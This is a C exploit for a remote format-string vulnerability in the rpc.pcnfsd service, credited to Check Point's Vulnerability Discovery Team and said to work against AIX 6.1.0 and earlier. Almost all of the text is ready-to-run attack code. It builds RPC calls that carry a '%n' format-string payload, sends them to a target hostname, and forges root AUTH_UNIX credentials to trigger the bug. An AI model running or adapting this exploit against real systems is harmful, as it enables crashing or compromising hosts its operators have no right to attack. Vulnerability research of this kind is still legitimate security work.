rpc.pcnfsd – Remote Format String
/************************************************************************* * Check Point Software Technologies - Vulnerability Discovery Team (VDT) * * Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com> * * * * rpc.pcnfsd syslog format string vulnerability * *************************************************************************/ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <rpc/rpc.h> #define PCNFSD_PROG 150001 #define PCNFSD_VERS 1 #define PCNFSD_PR_INIT 2 #define PCNFSD_PR_START 3 struct cm_send { char *s1; char *s2; }; struct cm_send2 { char *s1; char *s2; }; struct cm_reply { int i; }; bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp) { if(!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if(!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp) { if(!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if(!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp) { if(!xdr_int(xdrs, &objp->i)) return (FALSE); return (TRUE); } int main(int argc, char *argv[]) { long ret, offset; int len, x, y, i; char *hostname, *b; CLIENT *cl; struct cm_send send; struct cm_send2 send2; struct cm_reply reply; struct timeval tm = { 10, 0 }; enum clnt_stat stat; printf("-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-\n"); printf("-= Check Point Software Technologies - Vulnerability Discovery Team (VDT) =-\n"); printf("-= Rodrigo Rubira Branco <rbranco *noSPAM* checkpoint.com> =-\n\n"); if(argc < 2) { printf("Usage: %s [hostname]\n", argv[0]); exit(1); } hostname = argv[1]; send.s1 = "AAAA%n%n%n%n%n%n%n%n%n"; // Create the dir on /var/spool/pcnfs send.s2 = ""; send2.s1 = "AAAA%n%n%n%n%n%n%n%n%n";// Call the dir to trigger fmt bug send2.s2 = ""; printf("\nSending PCNFSD_PR_INIT to the server ... "); if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){ clnt_pcreateerror("\nerror");exit(-1); } stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &send, xdr_cm_reply, (caddr_t) &reply, tm); clnt_destroy(cl); printf("done!\n"); printf("Sending PCNFSD_PR_START procedure ... "); if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){ clnt_pcreateerror("\nerror");exit(-1); } cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &send2, xdr_cm_reply, (caddr_t) &reply, tm); printf("done!\n"); clnt_destroy(cl); } |